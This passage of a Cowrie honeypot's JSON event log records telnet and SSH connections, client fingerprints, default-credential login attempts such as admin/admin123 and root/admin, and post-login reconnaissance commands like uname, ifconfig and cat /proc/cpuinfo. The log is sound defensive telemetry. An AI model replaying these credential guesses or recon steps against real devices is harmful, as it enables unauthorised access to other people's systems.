sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:56.522410Z","src_ip":"176.65.139.103","session":"02ce707667cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":33704,"dst_ip":"10.17.0.5","dst_port":23,"session":"65a0a740d81a","protocol":"telnet","message":"New connection: 213.136.75.179:33704 (10.17.0.5:23) [session: 65a0a740d81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:56.731167Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:56.996311Z","src_ip":"176.65.139.103","session":"02ce707667cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:57.206710Z","src_ip":"176.65.139.103","session":"02ce707667cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:57.210195Z","src_ip":"176.65.139.103","session":"02ce707667cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":60346,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cf93aebfd48","protocol":"telnet","message":"New connection: 159.223.86.167:60346 (159.203.135.109:23) [session: 4cf93aebfd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:57.297749Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:57.348478Z","src_ip":"176.65.139.103","session":"02ce707667cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:57.353421Z","src_ip":"176.65.139.103","session":"02ce707667cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":35802,"dst_ip":"159.203.135.109","dst_port":23,"session":"61e0e02b0b1b","protocol":"telnet","message":"New connection: 159.223.86.167:35802 (159.203.135.109:23) [session: 61e0e02b0b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:58.313138Z"}
{"eventid":"cowrie.session.closed","duration":31.19468355178833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:58.806472Z","src_ip":"213.136.75.179","session":"adcec0246b21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.117.234.131","src_port":42106,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f03e04c5117","protocol":"telnet","message":"New connection: 155.117.234.131:42106 (10.17.0.5:23) [session: 4f03e04c5117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:59.054816Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":35106,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a7009985630","protocol":"telnet","message":"New connection: 213.136.75.179:35106 (10.17.0.5:23) [session: 5a7009985630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:59.167266Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":35114,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f17f4354836","protocol":"telnet","message":"New connection: 213.136.75.179:35114 (10.17.0.5:23) [session: 8f17f4354836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:59.200834Z"}
{"eventid":"cowrie.session.closed","duration":31.85185933113098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:37:59.779074Z","src_ip":"159.223.86.167","session":"bafb672c8de9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44728,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b0683274669","protocol":"telnet","message":"New connection: 159.223.86.167:44728 (159.203.135.109:23) [session: 0b0683274669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:00.336763Z"}
{"eventid":"cowrie.session.closed","duration":31.139933109283447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:00.816924Z","src_ip":"155.117.234.131","session":"e180639396af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68522334098816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:01.143452Z","src_ip":"159.223.86.167","session":"bea25498bd55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591919898986816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:01.328403Z","src_ip":"213.136.75.179","session":"17b7c0da009f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.315768241882324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:02.170924Z","src_ip":"213.136.75.179","session":"0845555a0b88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.243699550628662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:02.338932Z","src_ip":"159.223.86.167","session":"2f50a284621b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.67768955230713,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:02.385723Z","src_ip":"159.223.86.167","session":"97426f30d33b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012044429779053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:02.525469Z","src_ip":"213.136.75.179","session":"059cf7329f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55222,"dst_ip":"159.203.135.109","dst_port":23,"session":"f39882056153","protocol":"telnet","message":"New connection: 159.223.86.167:55222 (159.203.135.109:23) [session: f39882056153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:02.728331Z"}
{"eventid":"cowrie.session.closed","duration":31.139272451400757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:02.806404Z","src_ip":"159.223.86.167","session":"96fe5d0fc1d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60126,"dst_ip":"10.17.0.5","dst_port":22,"session":"990e561b5958","protocol":"ssh","message":"New connection: 176.65.139.103:60126 (10.17.0.5:22) [session: 990e561b5958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:03.090643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:03.095673Z","src_ip":"176.65.139.103","session":"990e561b5958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:03.174623Z","src_ip":"176.65.139.103","session":"990e561b5958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.84373927116394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:03.185684Z","src_ip":"213.136.75.179","session":"bf2977c297be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.526867389678955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:03.194019Z","src_ip":"159.223.86.167","session":"73169132869e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:03.495164Z","src_ip":"176.65.139.103","session":"990e561b5958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59656,"dst_ip":"159.203.135.109","dst_port":23,"session":"902d4af671cf","protocol":"telnet","message":"New connection: 159.223.86.167:59656 (159.203.135.109:23) [session: 902d4af671cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:03.777936Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":35128,"dst_ip":"10.17.0.5","dst_port":23,"session":"f63093658c7b","protocol":"telnet","message":"New connection: 213.136.75.179:35128 (10.17.0.5:23) [session: f63093658c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:04.011527Z"}
{"eventid":"cowrie.session.closed","duration":31.819210290908813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:04.119142Z","src_ip":"159.223.86.167","session":"5f14966d7b68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906108617782593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:04.246522Z","src_ip":"159.223.86.167","session":"cdaa42290e75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.71.104.73","src_port":60076,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4627f493cb5","protocol":"ssh","message":"New connection: 78.71.104.73:60076 (159.203.135.109:22) [session: f4627f493cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:04.316818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:04.321384Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:04.523552Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:04.613351Z","src_ip":"176.65.139.103","session":"990e561b5958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37288,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b8e885109d4","protocol":"telnet","message":"New connection: 159.223.86.167:37288 (159.203.135.109:23) [session: 7b8e885109d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:05.076601Z"}
{"eventid":"cowrie.session.closed","duration":30.54787278175354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:05.130099Z","src_ip":"159.223.86.167","session":"079e7f5093f3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:05.167891Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":37990,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d6d2826c9fb","protocol":"telnet","message":"New connection: 159.223.86.167:37990 (159.203.135.109:23) [session: 7d6d2826c9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:05.249828Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":38904,"dst_ip":"159.203.135.109","dst_port":23,"session":"51c06e46c348","protocol":"telnet","message":"New connection: 159.223.86.167:38904 (159.203.135.109:23) [session: 51c06e46c348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:05.532348Z"}
{"eventid":"cowrie.session.closed","duration":31.155019998550415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:05.569318Z","src_ip":"213.136.75.179","session":"5045a6dd0ffe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274366855621338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:05.683926Z","src_ip":"213.136.75.179","session":"8ca296856f2e","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:06.274795Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:06.530503Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:06.534329Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:06.537463Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.3072772026062,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:06.545741Z","src_ip":"213.136.75.179","session":"27673e7abcce","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:06.647258Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.45974349975586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:06.790014Z","src_ip":"213.136.75.179","session":"38320a295fb2","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:06.899664Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:06.903515Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.015387Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":35144,"dst_ip":"10.17.0.5","dst_port":23,"session":"776bada95c0b","protocol":"telnet","message":"New connection: 213.136.75.179:35144 (10.17.0.5:23) [session: 776bada95c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.199219Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":46552,"dst_ip":"159.203.135.109","dst_port":23,"session":"86a4132e6e63","protocol":"telnet","message":"New connection: 159.223.86.167:46552 (159.203.135.109:23) [session: 86a4132e6e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.213814Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.272721Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.276581Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.8022735118866,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.284196Z","src_ip":"213.136.75.179","session":"3882af839353","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78041696548462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.365652Z","src_ip":"159.223.86.167","session":"ef9f88ae78b5","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.389373Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.639029Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.642467Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.752497Z","src_ip":"78.71.104.73","session":"f4627f493cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41684,"dst_ip":"159.203.135.109","dst_port":22,"session":"02b60020c8ac","protocol":"ssh","message":"New connection: 159.203.92.129:41684 (159.203.135.109:22) [session: 02b60020c8ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.813156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:38:07.818000Z","src_ip":"159.203.92.129","session":"02b60020c8ac","protocol":"ssh"}
